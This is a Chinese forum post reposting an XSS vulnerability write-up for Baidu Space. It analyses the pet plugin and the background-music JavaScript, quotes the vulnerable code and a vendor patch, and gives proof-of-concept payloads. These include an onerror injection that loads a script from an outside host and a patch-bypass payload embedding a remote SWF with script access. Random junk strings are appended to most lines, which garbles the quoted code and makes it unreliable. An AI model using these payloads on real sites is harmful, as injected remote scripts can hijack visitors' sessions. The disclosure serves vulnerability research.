找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1979|回复: 0
打印 上一主题 下一主题

hi.baidu Xss 漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-8-24 11:51:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.  - V( G7 K) B2 q
% o* K% p6 ^( G9 x1 b* f8 x6 d
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.  
' _6 W) y$ d4 G3 D8 S) [6 z2.在http://hi.baidu.com/ui/scripts/pet/pet.js中  + e3 l2 Z' _+ k3 Z9 x* B
% g  k  e0 S, n' `# i
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>  
& o! V0 U; _% v其中BdUtil.insertWBR为  
# @& ?8 [- c2 ^: p7 R" x3 |function(text, step) {  0 q) W( U4 @- U: \+ ~
    var textarea = textAreaCache || getContainer();  
5 t' E- c  h' I    if (!textarea) {  : W. y0 u! H% _- b
        return text;  
, P$ R0 Z. i" j: H! J    }  
8 W) i+ B; k5 Q- E* D1 c    textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");  
% J! B7 ?( J3 ^+ j6 o    var string = textarea.value;  
/ j, R! [8 l! {! o6 b/ N% o    var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");  - c( ]' t) p) k
    var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");  
! |+ {9 m% ]# a7 t6 f- `    return result;  
( a7 b2 _/ e3 P  r2 k}  
) M, g; O0 S" M. q: Q' _& S在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.  
$ u& U: U0 I' a测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>  
* {" f2 ?9 R' @7 r" b& q% y   
* W8 K, [/ F8 y二:creatbgmusic() Dom-Xss Bug  
4 T2 ^8 a) X+ A' E. b% c百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞  . V3 q% |- \! Q9 C# S( g- Z
: g8 o+ m; @1 C' b* V+ N- d) S
http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:  
2 |+ k5 J3 R6 Q
* z- P4 A( }. M7 a" V" Tfunction creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {  
/ Z; F- q( ^  A) q, o    //传入的murl赋值到bgmusic1和bgmusic2中  
4 G$ [0 V& B6 v; {6 j) k    //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1    [$ E  f* l6 m! `& B# ^
    var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\"  VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";  
7 d1 a' Q6 `8 F% f    if (musicnum <= 1) {  
6 y2 q' Z  q4 @) b% i; I1 L        bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";  
8 ]3 Z. O" G3 U+ |; E& T    }  
' a! B' ^+ B! ]. A, o7 [( K    bgmusic1 += "</OBJECT>";  
0 i2 E* }' |  V) R4 l. X% j    var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";  ' P7 M" H. N' g6 i' |) S# \
    if (musicnum <= 1) {  
; B+ v5 i  O) b" v2 ~' a        bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";  & C" H% N( I8 M  `) R
    }  , H& ?; \! u: q- R( c; J) E' X# W
    bgmusic2 += "> </EMBED>";  
; [$ m& b9 @1 w, Y7 {0 h    var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";  
! A  B1 x+ }- @- F5 Z3 K    var bgmus = detectWMP();  ! C4 v: e% H1 Y" J  U
    if (functype == "FckMusicHelper") {  # s$ L+ R9 |* V2 g- `7 L0 z- `+ `& o
        if (bgmus.installed) {  2 a' `+ z% |+ Y! o- i" ^# Y
            if (bgmus.type == "IE") {  
! L; r2 o% c  S5 _                return bgmusic1;  8 ^+ ?0 `) E9 U# m7 i. M9 z& v
            } else if (bgmus.type == "NS") {  
. M9 ^# @. J& r! ?1 E                return bgmusic2;  
' p# D* h0 j) B3 `" P. f            }  ; c# A: F- J5 s
        } else {  ) t/ B; V/ L- A+ p, i8 H
            return bgmusic3;  
* A$ m& U& ]& x1 c6 h5 Y        }  " Q  f( y6 |7 y; n5 Z
    } else {  $ B3 g* n( b) s& e+ Y
        if (bgmus.installed) {  + d& G7 _1 J% U
            //document.write 直接输出bgmusic变量 导致xss  2 H, n: L, ~% V' q8 X: x, y+ v
            if (bgmus.type == "IE") {  % M# ~1 {, j+ Q7 s0 u
                document.write(bgmusic1);  # ?8 t: ?" J+ {: H& ?
            } else if (bgmus.type == "NS") {  9 g1 J2 b; L) M% g+ y! b/ D
                document.write(bgmusic2);  
( B2 }: j- j6 x1 l            }  ' s. T) M9 M6 _- Z2 o# Q; F
        } else {  + Z( O+ H/ T2 w4 p, @. Y7 j% K
            document.write(bgmusic3);  
' m* s: j, b5 V+ v        }  
" y6 y% B+ B4 G" J' h. W        return "";  8 @: ~3 d2 e5 I% K
    }  $ H# G) `2 }- T5 l. O+ Z# Y3 h
}  
/ X4 R7 B# c- |4 S2 w
- G9 U& v2 U% z( q2 i( K在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:  
- _" t% o9 ?- S; q8 [) F8 E  b0 _# Q+ w2 m* F3 l$ s
function initBlogTextForFCK(){  
- J! m+ a: {' V! Q2 [' ~% g6 W//fck init music  
6 S$ ?' @3 D) h: x7 ]8 @1 Uif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}    n4 z9 @7 M/ f& b& H
var imgBox=document.getElementsByName(’musicName’);   //取得了文章中的所有name="musicName"的标签数组  : a" _  T/ Z+ h- ~  T
var isAutoPlay=true;  
" g3 k8 t4 X  h+ H! p" t6 B# h7 X( Tfor(var i=0,n=imgBox.length;i<n;i++){  //然后遍历.  
( T6 ^$ U& \/ }" I  var img=imgBox;  
' [  r$ }9 p4 Y/ p7 p, l' W  if(img.getAttribute(’rel’)){        6 F* N% S1 `. J5 o$ C9 [
   var musicSrc=img.getAttribute(’rel’);    //取得标签中rel的值,赋值给musicSrc  
3 Y7 U9 ^6 l0 W1 Q9 i1 h( h6 Q   var musicDiv = document.createElement("SPAN");  
. I( `! T9 W8 k   var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1);  //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]  
: }  T' n! n$ N* W8 x% }; Y2 w+ ^8 q     
$ N+ Q2 l2 H  G/ v8 E      ..........................  " @% r5 n. O0 W  j2 J* C
     
) ^1 H- v; h: u) w6 N2 a5 O   //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.   
1 L( [. j+ y: x7 s' O   var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  
) h0 A: ]$ C- o! b# r3 i  b6 E   shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’);   img.replaceNode(musicDiv);  1 W* I; j. M. f7 m- s. R
   musicDiv.innerHTML=shtml;  
& B8 T+ L9 z: k+ y8 z- M) R& R. _   i--;n--;  
$ c% m* R" v- A! p- _, n; E+ X  }  
) N; _4 M0 a- `+ w}  7 s3 i5 l% C, V

" k. a# }3 v# m. ~& V0 I' A从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.  
" k! o7 _8 I* a1 I! P   ! p  t' z# P0 G9 w# V
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>  
* `- ~. r. l0 h! j5 O
8 v2 z) Q9 G1 X, }6 a; N2 @等待官方补丁    j" x' Y9 z& y

- N9 D( |$ p3 d: Eupdate 2010年5月13日   
; d5 h, }5 L8 C  o; y$ \: c% \, e) T: e' y
官方补丁:  
" _; P6 \+ O" F
1 H5 n( i. B1 E. c: O8 rvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  & N  o/ U$ C/ u& e! i6 o  A
改为:  
/ D5 T3 B8 x  @; \var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);  2 v2 x6 W2 y7 H; M  P8 h  Y! t
; I% I) Q, e6 ^2 f
update 2010年5月13日 21:50:37  
6 t4 |5 J4 h* Q) O& _+ L4 u' }7 q. h1 N/ Y7 t: W6 |
补丁存在漏洞 没有过滤" 可以继续跨:  
2 N8 Q+ R6 d5 D  r$ T: ~
+ v' s5 A% t1 h! _; _# U' ~# MNEW POC:  1 j4 }& j2 r, p
) A! o# ?. k! A/ G1 v1 E  O3 Y
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
, g7 z4 S9 I7 i- T% E3 H
+ q; ^8 t$ M  l. F% Z; ]4 O7 aallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>2 N9 \) }6 |" E& q+ c# D( o/ s4 ?7 S
2 {" ?% [3 z- m3 p3 B9 P3 _3 a
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表